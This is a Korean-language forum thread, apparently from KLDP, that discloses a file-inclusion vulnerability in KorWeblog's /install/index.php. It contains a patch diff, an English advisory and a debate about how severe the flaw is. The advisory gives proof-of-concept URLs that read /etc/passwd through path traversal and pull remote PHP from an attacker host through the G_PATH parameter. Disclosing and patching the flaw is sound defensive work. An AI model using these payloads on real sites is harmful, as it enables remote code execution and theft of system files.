korweblog 보안 취약점 패치

Mins의 이미지

korweblog 의 /install/index.php 와 관련된 보안 패치 입니다.

은재님과 연락이 어려울걸로 생각 되고, 요즘 뒤숭숭한감도 있고 해서 나름대로 급하게 올려봅니다.
설치후 install 관련 파일을 지우지 않은 korweblog 최신 버전인 1.6.2cvs 이하 버전들이 취약점을 가지고 있습니다.
사용하시고 계신 서버 설정에 따라, 다음과 같이 3가지로 나눌수 있을듯 합니다.
(korweblog 의 경우 register_globals 설정과 무관하게 돌아가는걸로 알고 있습니다.)

- 1 -
php.ini : magic_quotes_gpc = Off

원격의 유저가 시스템내의 임의의 파일을 읽는것이 가능
일반적으로 magic_quotes_gpc 는 디폴트 값인 On 을 유지 하기 때문에, 특별히 큰 문제는 없을듯 합니다.

- 2 -
php.ini : magic_quotes_gpc = On

원격의 유저가 시스템내의 임의의 php 파일을 읽는것만이 가능
이를 이용하여, 2차적인 공격이 가능할수가 있습니다.

- 3 -
php.ini : allow_url_fopen : On

이번의 제로보드 사건과 같이 원격의 해커가 임의의 php code 를 실행하는것이 가능합니다.
공격을 위해 korweblog 외의 별도의 웹프로그램이 사용되지 않습니다.

해결책은 다음과 같습니다.

- 설치후 사용되지 않는 install 관련 파일 삭제
- allow_url_fopen 설정을 Off (3번 경우에 해당)
- magic_quotes_gpc 설정을 Off (1번 경우에 해당)

- 임시적인 패치

이번 취약점에 해당되는 /install/index.php 에 대한 임시적인 패치 입니다.
확인후 패치 하시면 될것입니다. ^^

--- index_1_6_1.php Mon Dec 27 17:31:50 2004
+++ index.php Mon Dec 27 17:40:51 2004
@@ -18,7 +18,10 @@

$G_VER = "1.6.1";

-if (!empty($lng)) include("lang/$lng" . ".php");
+if (!empty($lng)) {
+ if (eregi("\.\.",$lng) || eregi("/",$lng)) $lng="korean";
+ include("lang/$lng" . ".php");
+}

$sql_form ="<P>
<TABLE><TR><TD COLSPAN=2><B>". _SQL_INPUT ."</B></TD>

상세하고 번듯한 권고문을 작성하면 좋겠지만, 작성이 버거워서 못해먹겠습니다. ^^;
양해바라며, 공격과 관련된 보다 자세한 사항은, 시간을 조금 두어 올리도록 하겠습니다.

잘못된 부분이 있다면 지적 부탁드립니다. ^^

ps. kldp.net 에도 관련된 내용을 포스팅 하였으나, 아무래도 이쪽이 사람들의 관심을 끌거 같아서 올립니다. 양해바랍니다. ^^;

http://kldp.net/tracker/index.php?func=detail&aid=300654&group_id=13&atid=300013

익명 사용자의 이미지

취약점 구분 기준에 혼돈이 있지 않은가 하는 생각이 듭니다.

PHP 4.3.9와 PHP 5.0.2 이하의 버전에 존재하는 addslashes() 취약점을 언급하시는게 아닌가 싶은데, 해당 취약점은 윈도우 환경에서만 exploit 가능한 것으로, PHP 의 버그이지, KorWeblog 의 버그는 아닙니다.

또한 현재 코드 상에선 외부 PHP를 injection 하기는 불가능할 것으로 보이는데... 어떤 원리에 의해 가능한 것으로 보시는지 궁금합니다.

Mins의 이미지

Anonymous wrote:
취약점 구분 기준에 혼돈이 있지 않은가 하는 생각이 듭니다.

PHP 4.3.9와 PHP 5.0.2 이하의 버전에 존재하는 addslashes() 취약점을 언급하시는게 아닌가 싶은데, 해당 취약점은 윈도우 환경에서만 exploit 가능한 것으로, PHP 의 버그이지, KorWeblog 의 버그는 아닙니다.

또한 현재 코드 상에선 외부 PHP를 injection 하기는 불가능할 것으로 보이는데... 어떤 원리에 의해 가능한 것으로 보시는지 궁금합니다.

이런 말이 왠지 나올것 같았습니다. :)
다 제가 설명을 제대로 하지 못한것 때문이죠. ㅜ_ㅜ

말씀하신대로 현재 코드상으로는, 외부 php 를 injection 하는것이 불가능합니다. 하지만 내부상의 php 를 open 하는것이 가능하며, 이로 인해 외부 injection 공격이 가능한점이 있습니다.

공격에 필요한 조건은 register_globals 와는 전혀 무관하며, magic_quotes 가 On 이거나 addslashes() 관련 취약점이 존재하는 php 버전 (php 4.3.9 에 해당됩니다) 은 번거로운 과정없이 외부 인젝션이 가능하며, magic_quotes_gpc 가 Off 로 설정되어있는 디폴트 설정인 경우에는 위처럼 조금 번거롭습니다. ^^;;

어느쪽이든 외부의 php 를 injection 하기 위해서는, allow_url_fopen 이 On 으로 활성화 되어있어야만 합니다.

allow_url_fopen 이 On 이고, install 관련 파일이 존재하는 korweblog 에는 모두 해당되는 취약점입니다.

익명 사용자의 이미지

민스님 천재~

잇힝

익명 사용자의 이미지

민스님 대단하심~+_+b

익명 사용자의 이미지

민스님 천재
민스님 대단하심~+_+b

FlyChicken의 이미지

민스님 천재
민스님 대단하심~+_+b

n2player의 이미지

--

opt의 이미지

Mins wrote:
Anonymous wrote:
취약점 구분 기준에 혼돈이 있지 않은가 하는 생각이 듭니다.

PHP 4.3.9와 PHP 5.0.2 이하의 버전에 존재하는 addslashes() 취약점을 언급하시는게 아닌가 싶은데, 해당 취약점은 윈도우 환경에서만 exploit 가능한 것으로, PHP 의 버그이지, KorWeblog 의 버그는 아닙니다.

또한 현재 코드 상에선 외부 PHP를 injection 하기는 불가능할 것으로 보이는데... 어떤 원리에 의해 가능한 것으로 보시는지 궁금합니다.

이런 말이 왠지 나올것 같았습니다. :)
다 제가 설명을 제대로 하지 못한것 때문이죠. ㅜ_ㅜ

말씀하신대로 현재 코드상으로는, 외부 php 를 injection 하는것이 불가능합니다. 하지만 내부상의 php 를 open 하는것이 가능하며, 이로 인해 외부 injection 공격이 가능한점이 있습니다.

취약점 분석자의 기준에 따라 다르겠지만, 제 경우 local php injection 은 취약점으로 보지 않습니다.

예를 들어
vulnerable.php의 소스가
include("myhome/$test" . "php");
와 같다고 가정할때, 이론적으로는 local php injection 이 가능합니다.

때문에
http://[victim]/vulnerable.php?test=../../../../../tmp/attack
와 같은 식으로 공격이 가능할 것입니다.

그러나 이 공격이 성공하기 위해선 공격자는 /tmp 디렉터리에 임의의 php 파일(예에선 attack.php)을 생성할 수 있어야만 합니다.

그러나 local server 상에서 임의의 php 파일을 생성할 수 있는 사용자라면, 굳이 번거롭게 이렇게 공격하기 보다는 자신의 홈 디렉터리($HOME/public_html)에 공격용 php 파일을 생성하는 것이 보다 손쉽습니다.

그리고 로컬 사용자라면 직접 로컬에서 root 권한 획득이 가능한 exploit 을 돌리는게 상식적이지, 로컬 사용자에 비해 별다른 특권이 없는 nobody 권한을 따기 위해 공격용 php 파일을 생성한다는 것은 납득하기 어려운 공격 행동입니다(공격의 경제성의 원칙에 어긋납니다).

물론 로컬 사용자가 이를 이용해 자신의 권한으로는 쓰기가 불가능한 메인 홈페이지의 index.html 을 변조할 수는 있겠으나, 현실적으로는 로컬 사용자가 root 를 딴 후 메인 홈페이지 index.html 을 변조하는 것이 훨씬 쉽습니다.

또한 KorWeblog 의 경우 설치 후 반드시 install 디렉터리를 지우도록 하고 있습니다(안지원진 경우 최초 실행시 install 디렉터리를 삭제하라는 경고가 나오는 것으로 기억합니다). 때문에 이런 공격 기법에 취약한 실제 사이트는 없을 것으로 판단됩니다.

취약점으로 보기에는 억지스러운 면이 많으며, PHP 의 취약점을 PHP를 업그레이드하는 것으로 대처하는 게 아니라, 개별 어플리케이션의 소스들을 전부 수정하는 형태로 하는 것은 원인을 근본적으로 해결하는 것이 아니기에 바람직하지 않습니다.

----
LUX ET VERITAS | Just for Fun!

Mins의 이미지

opt wrote:
취약점 분석자의 기준에 따라 다르겠지만, 제 경우 local php injection 은 취약점으로 보지 않습니다.

예를 들어
vulnerable.php의 소스가
include(myhome/$test);
와 같다고 가정할때, 이론적으로는 local php injection 이 가능합니다.

때문에
http://[victim]/vulnerable.php?test=../../../../../tmp/attack.php
와 같은 식으로 공격이 가능할 것입니다.

그러나 이 공격이 성공하기 위해선 공격자는 /tmp 디렉터리에 임의의 php 파일을 생성할 수 있어야만 합니다.

그러나 local server 상에서 임의의 php 파일을 생성할 수 있는 사용자라면, 굳이 번거롭게 이렇게 공격하기 보다는 자신의 홈 디렉터리($HOME/public_html)에 공격용 php 파일을 생성하는 것이 보다 손쉽습니다.

그리고 로컬 사용자라면 직접 로컬에서 root 권한 획득이 가능한 exploit 을 돌리는게 상식적이지, 로컬 사용자에 비해 별다른 특권이 없는 nobody 권한을 따기 위해 공격용 php 파일을 생성한다는 것은 납득하기 어려운 공격 행동입니다(공격의 경제성의 원칙에 어긋납니다).

물론 로컬 사용자가 이를 이용해 자신의 권한으로는 쓰기가 불가능한 메인 홈페이지의 index.html 을 변조할 수는 있겠으나, 현실적으로는 로컬 사용자가 root 를 딴 후 메인 홈페이지 index.html 을 변조하는 것이 훨씬 쉽습니다.

또한 KorWeblog 의 경우 설치 후 반드시 install 디렉터리를 지우도록 하고 있습니다(안지원진 경우 최초 실행시 install 디렉터리를 삭제하라는 경고가 나오는 것으로 기억합니다). 때문에 이런 공격 기법에 취약한 실제 사이트는 없을 것으로 판단됩니다.

취약점으로 보기에는 억지스러운 면이 많으며, PHP 의 취약점을 PHP를 업그레이드하는 것으로 대처하는 게 아니라, 개별 어플리케이션의 소스들을 전부 수정하는 형태로 하는 것은 원인을 근본적으로 해결하는 것이 아니기에 바람직하지 않습니다.

물론 맞는 말입니다. 설치시 install 디렉토리를 지우도록 권고 하고 있습니다만, 실제적으로 운영되는 사이트에서 모두 지우고서 사용하는지는 제가 확인해보지는 못했습니다.

다만 제가 local php injection 을 올린것은, 실제 KorWeblog 패키지중에서 이를 이용할수 있는 코드가 있기 때문이지, 공격자가 임의로 php 를 생성후 이를 이용하고자 하는것이 아닙니다.

저의 테스트 결과 별다른 php 생성 과정 없이 nobody 권한을 얻을수가 있었습니다. 물론 필요한것은 allow_url_fopen 정도 밖에 없고요.

install 디렉토리를 삭제하는것이 권장사항에 있다고 해서, 취약점으로 분류하기에 부적합하다는 생각은 안 드네요.

취약점에 관한 정확한 정보를 올리지 않은 제 불찰로 생각됩니다.

다시한번 정확한 내용을 올리도록 하고 확실한 검증을 받을수 있도록 하겠습니다. ^^

ps. 방금전 술을 마시고 바로 들어와서 정신이 없네요. 쩝..

Mins의 이미지

먼저 되도 않는 영어를 사용해서 정말 죄송하다는 말을 드리고 싶습니다. 정리를 하는 도중에 한글 자료가 유실되어 어쩔수 없이 영문본을 올립니다. 영어 과제가 아니니 양해 부탁드립니다. ^^
역시 잘못된 부분 있다면 지적 부탁 드립니다.
별로 대단한것도 아닌데, 처음부터 그냥 공개하고 따끔한 질책 받을걸 잘못했다는 생각이 듭니다. -_ㅜ
---
KorWeblog php injection Vulnerability

Release Date : 2004/12/31 (KST)
Author : Mins (mins at fsu.or.kr)
Product : KorWeblog http://weblog.kldp.org
Vendor-Status: Vendor was contacted but I could not receive reply message.
Vendor-Patches: None
Impact: Attacker can execute arbitrary php code.

Summary
=======
KorWeblog is one of popular blog system in Korea.
The "lng" parameter in "/install/index.php" isn't properly verified, before it is used to include files.
And Attacker does not need "register_globals=On".
So this vulnerability would allow remote user to inject php codes.

Affected Products
=================
korweblog 1.6.2-cvs and prior

- 1st case
php.ini : magic_quotes_gpc = Off

- 2nd case
php.ini : magic_quotes_gpc = On

- 3rd case
php.ini : allow_url_fopen : On

Vendor Status : NOT FIXED
=============
2004-12-23 Vulnerability found
2004-12-26 Notified vendor.
2004-12-27 Could not receive reply message.
2004-12-27 Mins made temporary patch.
2004-12-29 2nd vendor Contact.
2004-12-30 Release of unoffical patch.
2004-12-31 Offical advisory release.

Details
=======
If "/install/index.php" exists, attacker can execute arbitrary php code.

Part of weak source (/install/index.php)
----
ini_set('magic_quotes_gpc',1);
ini_set('magic_quotes_sybase',0);

include("../include/misc.inc.php");
include("../include/sql.inc.php");
include("include/check.inc.php");

if(!ini_get("register_globals")) {
include("include/grab_globals.inc.php");
}

$url = eregi_replace("(/install/|/install)$","",F_GetBaseURL());
$path = eregi_replace("(/install/|/install)$","",dirname($_SERVER['SCRIPT_FILENAME']));

$G_VER = "1.6.2";

if (!empty($lng)) include("lang/$lng" . ".php");

Keep in mind that the setting magic_quotes_gpc will not work at runtime.
When the "magic_quotes_gpc" is 'Off', attacker can add '%00' to '$lng'.

However if "magic_quotes_gpc" is 'On', attacker can open only '.php' file.
That's right. But attacker is able to use another file.

Part of another same package source (/include/main.inc.php)
----
if (eregi("main.inc.php", $_SERVER['PHP_SELF']))
die ("You can not access this file directly...");

set_magic_quotes_runtime(0);
ini_set('magic_quotes_gpc',1);
ini_set('magic_quotes_sybase',0);

include("$G_PATH/include/sql.inc.php");
include("$G_PATH/include/layout.inc.php");
include("$G_PATH/include/parser.inc.php");

Proof of Concepts
=================

- 1st case
php.ini : magic_quotes_gpc = Off
http://[victim]/weblog/install/index.php?lng=../../../../../../etc/passwd%00

- 2nd case
php.ini : magic_quotes_gpc = On
http://[victim]/weblog/install/index.php?lng=../../phpinfo

- 3rd case
php.ini : allow_url_fopen : On
http://[victim]/weblog/install/index.php?lng=../../include/main.inc&G_PATH=http://[hacker]

Solution
========
- remove the install file

- Set "allow_url_fopen" to "Off".

- unoffical patch
mins@hackme:~/public_html/korweblog-1.6.1/install$ cat index.diff
--- index_1_6_1.php Mon Dec 27 17:31:50 2004
+++ index.php Mon Dec 27 17:40:51 2004
@@ -18,7 +18,10 @@

$G_VER = "1.6.1";

-if (!empty($lng)) include("lang/$lng" . ".php");
+if (!empty($lng)) {
+ if (eregi("\.\.",$lng) || eregi("/",$lng)) $lng="korean";
+ include("lang/$lng" . ".php");
+}

$sql_form ="<P>
<TABLE><TR><TD COLSPAN=2><B>". _SQL_INPUT ."</B></TD>

Credits
=======
Mins at FSU (mins at fsu.or.kr)

Mins의 이미지

그리고 추가하자면, 제가 이전에 최근의 php 의 취약점중 하나인 addslashes() 관련 내용을 언급해서인지, 자꾸 그쪽으로 생각하시는 분들이 있는데, php 버전과 무관한 취약점입니다.

물론 4.3.10 이전의 php 를 사용하게되면, php 의 여러 취약점들로 인해서 공격을 받을수 있으니 업그레이드 하는것이 타당하나, 이 취약점은 현재 php 4.3.10-2 에서 test 하였으며, 문제없이 가능하였습니다.

잘못 판단하셔서, 그쪽으로 몰아가지 않으셨으면 하네요.

opt의 이미지

Mins wrote:
- 1 -
php.ini : magic_quotes_gpc = Off

원격의 유저가 시스템내의 임의의 파일을 읽는것이 가능
일반적으로 magic_quotes_gpc 는 디폴트 값인 On 을 유지 하기 때문에, 특별히 큰 문제는 없을듯 합니다.

덕분에 magic_quotes_gpc에 대해 보다 깊이 살펴보았습니다.
대부분의 리눅스 배포본과 NetBSD에서 magic_quotes_gpc는 디폴트로 Off 로 되어 있는 것을 확인했습니다(매뉴얼http://kr2.php.net/manual/en/ref.info.php에 적혀있는 내용과 다른 점이 의외더군요).

Security에 있어 개발자가 예상 못한 side effect(include, require에서의 임의의 파일 보기, sql injection, magic_quotes_sybase가 On 되어 있을때 overide되는 문제 등)를 가진 위험한 기능으로, 개발자들은 이 기능에 의존하지 않도록 프로그래밍해야할 것으로 판단됩니다.

개인적으론 allow_url_fopen과 함께 PHP에 추가된 것이 유감스러운 기능 중 하나네요. 획기적이고 좋은 아이디어이긴 한데...

----
LUX ET VERITAS | Just for Fun!

opt의 이미지

Mins wrote:

- 3rd case
php.ini : allow_url_fopen : On
http://[victim]/weblog/install/index.php?lng=../../include/main.inc&G_PATH=http://[hacker]

멋진 취약점입니다(이렇게 말하면 개발자들한테 욕먹을라나?)
이 취약점이 너무나 흥미로워서 외국애들도 꽤 관심을 가질 거 같네요.

Full-disclosure에는 안올라왔던데... 버그트랙에만 올리신건가요?

----
LUX ET VERITAS | Just for Fun!

Mins의 이미지

opt wrote:
덕분에 magic_quotes_gpc에 대해 보다 깊이 살펴보았습니다.
대부분의 리눅스 배포본과 NetBSD에서 magic_quotes_gpc는 디폴트로 Off 로 되어 있는 것을 확인했습니다(매뉴얼http://kr2.php.net/manual/en/ref.info.php에 적혀있는 내용과 다른 점이 의외더군요).

과거에 퍼포먼스 문제로 Off 로 조정하여 사용하였다는것은 들었지만, 지금도 Off 로 사용되고 있다는것은, 저도 조금 의외로군요. ^^;

opt wrote:

멋진 취약점입니다(이렇게 말하면 개발자들한테 욕먹을라나?)
이 취약점이 너무나 흥미로워서 외국애들도 꽤 관심을 가질 거 같네요.

Full-disclosure에는 안올라왔던데... 버그트랙에만 올리신건가요?

네. 감사합니다. ^^ Full-disclosure 에는 번거로워서(?) 못올렸네요. ^^;; 반응이 괜찮다면, Fwd 라도.... ^^;;;

KorWeblog 의 특수한 환경에서 이루어진 공격 같습니다. 영어가 딸려서 일일이 서술하기가 어렵더군요. 뭉터기로 짤랐습니다. ㅋㅋ 충분히 검토를 하고 올려야 되었는데, 조금 조급했던거 같네요. ^^;

ps. magic_quotes_gpc 가 Off 로 사용되는곳이 많다면, 충분히 문제가 될일이라 생각됩니다. 적용될만한곳이 많겠죠.

Mins의 이미지

edaily 에 관련기사가 실린것을 보고 깜짝 놀랐습니다.

영문 권고문에는 제대로 정보가 실려져 있지만
http://lists.netsys.com/pipermail/full-disclosure/2005-January/030498.html

kldp.net 에 올린 해결책은 문제점이 있습니다.

Quote:
-코웹로그 php.ini 파일의 magic_quotes_gpc의 값을 `on`에서 `off`로 수정(http://kldp.net/tracker/index.php?func=detail&aid=300654&group_id=13&atid=300013)

기사에는 디폴트값으로 되어있는 magic_quotes_gpc 의 값을 off 로 하도록 되어있으나, 이는 제가 잘못 올린것 입니다.

디폴트값인 on 을 유지하는것이 보안상 더욱 좋습니다.

또한 디폴트값인 on 을 유지한다고 해서, 이 문제가 해결되는것은 아닙니다. 제로보드의 사례와 같이 allow_url_fopen 의 값을 off 로 하는것이 타당하며, 비공식적인 패치를 적용하는것이 옳다고 봅니다.

대부분의 경우, 설치를 종료후 install 관련 파일이 남아있을 이유가 없기 때문에, 관련 파일들을 삭제 하는것이 가장 타당하다고 봅니다.

ps. edaily 뿐만 아니라 다른 기사에도 잘못된 내용으로 올라가있네요. 핵심은 저게 아닌데, 왜 하필 잘못된 부분만을 꼭 찝어서 올린건지... -_ㅜ

opt의 이미지

잘못된 보안 권고 문제 때문에 오늘 몇 차례에 걸쳐 KrCERT 와 메일을 주고 받았습니다.

취약점 분석자는 해당 문제를 깊이 연구하는 경향이 있는 반면, 취약점 정보만을 다루는 사람은 아무래도 해당 취약점의 기술적 세부 사항을 모르는 경우가 많습니다.

때문에 잘못된 보안 조치가 권고에 포함된 것으로 보이고, 문제점이 지적되자 다시 Off 를 On 으로 바꾸라고 권고를 고친 것으로 보입니다.

제가 비공식 패치를 설치하도록 권하는 것이 맞다고 메일을 보냈으나, 아무래도 KrCERT는 정부 산하 기관이다 보니 '비공식 패치'의 '비공식'이라는 단어에 거부감을 갖는게 아닌가 합니다. '비공식 패치'를 적용하라고 권고하고 해당 패치로 인해 문제가 발생하면 책임지기 어렵다는 것이겠죠. 이는 공공기관의 특성으로 어쩔수 없이 기술자들이 이해해야 하는 부분이 아닐까 합니다. *sigh*

저녁 나절에 차라리 install 디렉터리를 삭제하라고 권고하는 것은 어떻겠냐고 메일을 보냈는데, 퇴근 시간 쯤이었으니 빠르면 내일쯤에나 적용되겠죠.

공공기관은 책임지기 싫어하고, 기자들은 아는게 없어 앵무새처럼 받아적기만 하고(그것도 *틀리게* 받아적고), 보안 업체는 돈 안되서 보안 정보 알리기 싫어하고, 언더그라운드는 알려봤자 욕만 날라온다고 말하기 싫어하고... 한국은 역시 어쩔수 없는건가...?

----
LUX ET VERITAS | Just for Fun!

익명 사용자의 이미지

securityfocus.com을 보니 /install/index.php에서 lng변수를
이용해 패스워드파일에 접근을 하는것 같은데..
/install 폴더를 제거하면 큰 문제가 되지 않을것
같은데요..

이 방법 이와에 다른 취약점이 또 있는건가요??